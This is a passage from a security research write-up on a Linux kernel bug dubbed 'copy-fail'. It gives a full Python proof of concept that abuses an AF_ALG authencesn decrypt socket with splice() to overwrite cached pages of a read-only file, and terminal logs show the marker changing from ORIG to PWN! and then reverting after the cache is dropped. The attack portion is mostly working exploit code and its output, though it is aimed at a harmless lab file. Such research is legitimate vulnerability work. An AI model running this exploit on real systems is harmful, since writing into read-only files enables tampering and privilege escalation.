axura@pwnlab:~/lab/copy-fail$ sudo sh -c 'echo 3 > /proc/sys/vm/drop_caches' axura@pwnlab:~/lab/copy-fail$ xxd -g1 -s 0x1220 -l 0x40 ./target.bin 00001220: 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA 00001230: 41 41 41 41 4f 52 49 47 41 41 41 41 41 41 41 41 AAAAORIGAAAAAAAA 00001240: 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA 00001250: 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA
The marker is back to ORIG. So the PoC did not persist a file write to disk. It only corrupted the cached file page.
5.5 PoC In Python
5.5.1 Python PoC
This mirrors the same request shape in Python, including the full authencesn key blob and the AEAD control messages attached to sendmsg().
It can also be download from my repo as proof-of-concept/copyfail_poc.py:
# copyfail_poc.py
import os
import struct
import socket
from pathlib import Path
AF_ALG = 38
SOL_ALG = 279
ALG_SET_KEY = 1
ALG_SET_IV = 2
ALG_SET_OP = 3
ALG_SET_AEAD_ASSOCLEN = 4
ALG_SET_AEAD_AUTHSIZE = 5
ALG_OP_DECRYPT = 0
CRYPTO_AUTHENC_KEYA_PARAM = 1
target = "./target.bin"
overwrite_off = 0x1234
authsize = 0x10
splice_len = 0x20
splice_off = overwrite_off - (splice_len - authsize)
write_value = b"PWN!"
aad = b"A" * 4 + write_value
def marker(label):
with target_path.open("rb") as f:
f.seek(overwrite_off)
b = f.read(4)
print(f"{label} @ 0x{overwrite_off:x} = {b.hex(' ')} ({b!r})")
print(f"[+] target : {Path(target).expanduser()}")
print(f"[+] overwrite : file offset 0x{overwrite_off:x}")
print(f"[+] splice : offset=0x{splice_off:x} len=0x{splice_len:x} authsize=0x{authsize:x}")
print(f"[+] write value : {write_value!r}")
# 1. Create a harmless read-only lab target.
target_path = Path(target).expanduser()
target_path.parent.mkdir(parents=True, exist_ok=True)
data = bytearray(b"X" * 0x3000)
data[overwrite_off:overwrite_off + 4] = b"ORIG"
target_path.write_bytes(data)
with target_path.open("rb") as f:
os.fsync(f.fileno())
target_path.chmod(0o444)
marker("[+] marker before")
# 2. Open AF_ALG transform socket.
tfm = socket.socket(AF_ALG, socket.SOCK_SEQPACKET, 0)
try:
tfm.bind(("aead", "authencesn(hmac(sha256),cbc(aes))"))
except FileNotFoundError:
print("[!] AF_ALG could not resolve authencesn(hmac(sha256),cbc(aes)).")
print("[!] Check /proc/crypto and try: sudo modprobe authencesn")
raise
print("[+] bound AF_ALG: type=aead name=authencesn(hmac(sha256),cbc(aes))")
# 3. Configure the authenc-compatible key blob and authsize, then accept.
key_blob = (
struct.pack("HH", 8, CRYPTO_AUTHENC_KEYA_PARAM) +
struct.pack("!I", 16) +
(b"A" * 32) +
(b"B" * 16)
)
tfm.setsockopt(SOL_ALG, ALG_SET_KEY, key_blob)
tfm.setsockopt(SOL_ALG, ALG_SET_AEAD_AUTHSIZE, None, authsize)
print("[+] AEAD configured: authkey=32, enckey=16, authsize=0x10")
op, _ = tfm.accept()
print(f"[+] accepted operation socket: fd={op.fileno()}")
# 4. Queue attacker-controlled AAD.
# AAD[4:8] is the 4-byte value authencesn later writes.
iv = struct.pack("I", 16) + (b"\x44" * 16)
op.sendmsg(
[aad],
[
(SOL_ALG, ALG_SET_OP, struct.pack("I", ALG_OP_DECRYPT)),
(SOL_ALG, ALG_SET_IV, iv),
(SOL_ALG, ALG_SET_AEAD_ASSOCLEN, struct.pack("I", len(aad))),
],
socket.MSG_MORE,
)
print(f"[+] AAD queued: assoclen={len(aad)}, AAD[4:8]={write_value!r}")
# 5. Splice target file bytes into a pipe.
r, w = os.pipe()
fd = os.open(str(target_path), os.O_RDONLY)
os.splice(fd, w, splice_len, splice_off, None, 0)
print(f"[+] splice(file -> pipe): 0x{splice_len:x} bytes from file offset 0x{splice_off:x}")
# 6. Splice pipe into AF_ALG operation socket.
os.splice(r, op.fileno(), splice_len, None, None, 0)
print(f"[+] splice(pipe -> AF_ALG): 0x{splice_len:x} bytes")
# 7. Trigger decrypt. Authentication is expected to fail.
try:
op.recv(0x1000)
print("[+] recv returned data")
except OSError as e:
print(f"recv failed as expected: {e}")
marker("[+] marker after ")
print(f"[+] verify cached bytes : xxd -g1 -s 0x1220 -l 0x40 {target_path}")
print("[+] verify cache vs disk: sudo sh -c 'echo 3 > /proc/sys/vm/drop_caches'")
print(f"[+] then re-read : xxd -g1 -s 0x1220 -l 0x40 {target_path}")
print("[+] success signal : ORIG -> PWN! before drop_caches, then ORIG after drop_caches")
os.close(fd)
os.close(r)
os.close(w)
op.close()
tfm.close()5.5.2 Verification
The Python PoC also creates ./target.bin by itself:
axura@pwnlab:~/lab/copy-fail$ vim copyfail_poc.py axura@pwnlab:~/lab/copy-fail$ ls copyfail_poc.py axura@pwnlab:~/lab/copy-fail$ python3 copyfail_poc.py [+] target : target.bin [+] overwrite : file offset 0x1234 [+] splice : offset=0x1224 len=0x20 authsize=0x10 [+] write value : b'PWN!' [+] marker before @ 0x1234 = 4f 52 49 47 (b'ORIG') [+] bound AF_ALG: type=aead name=authencesn(hmac(sha256),cbc(aes)) [+] AEAD configured: authkey=32, enckey=16, authsize=0x10 [+] accepted operation socket: fd=4 [+] AAD queued: assoclen=8, AAD[4:8]=b'PWN!' [+] splice(file -> pipe): 0x20 bytes from file offset 0x1224 [+] splice(pipe -> AF_ALG): 0x20 bytes recv failed as expected: [Errno 74] Bad message [+] marker after @ 0x1234 = 50 57 4e 21 (b'PWN!') [+] verify cached bytes : xxd -g1 -s 0x1220 -l 0x40 target.bin [+] verify cache vs disk: sudo sh -c 'echo 3 > /proc/sys/vm/drop_caches' [+] then re-read : xxd -g1 -s 0x1220 -l 0x40 target.bin [+] success signal : ORIG -> PWN! before drop_caches, then ORIG after drop_caches axura@pwnlab:~/lab/copy-fail$ ls -li total 16 1587064 -rw-rw-r-- 1 axura axura 3572 May 16 19:50 copyfail_poc.py 1585040 -r--r--r-- 1 axura axura 12288 May 16 19:50 target.bin
Then inspect the marker:
axura@pwnlab:~/lab/copy-fail$ xxd -g1 -s 0x1220 -l 0x40 ./target.bin 00001220: 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 XXXXXXXXXXXXXXXX 00001230: 58 58 58 58 50 57 4e 21 58 58 58 58 58 58 58 58 XXXXPWN!XXXXXXXX 00001240: 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 XXXXXXXXXXXXXXXX 00001250: 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 XXXXXXXXXXXXXXXX
That proves the page-cache copy changed again, but not the disk file was written yet. To check the disk/cache distinction, drop clean page-cache state and read the file again like we did in 5.4.2:
axura@pwnlab:~/lab/copy-fail$ sudo sh -c 'echo 3 > /proc/sys/vm/drop_caches' axura@pwnlab:~/lab/copy-fail$ xxd -g1 -s 0x1220 -l 0x40 ./target.bin 00001220: 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 XXXXXXXXXXXXXXXX 00001230: 58 58 58 58 4f 52 49 47 58 58 58 58 58 58 58 58 XXXXORIGXXXXXXXX 00001240: 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 XXXXXXXXXXXXXXXX 00001250: 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 XXXXXXXXXXXXXXXX
The overwrite affected the cached file page, not the persistent file contents on disk.
Comments | NOTHING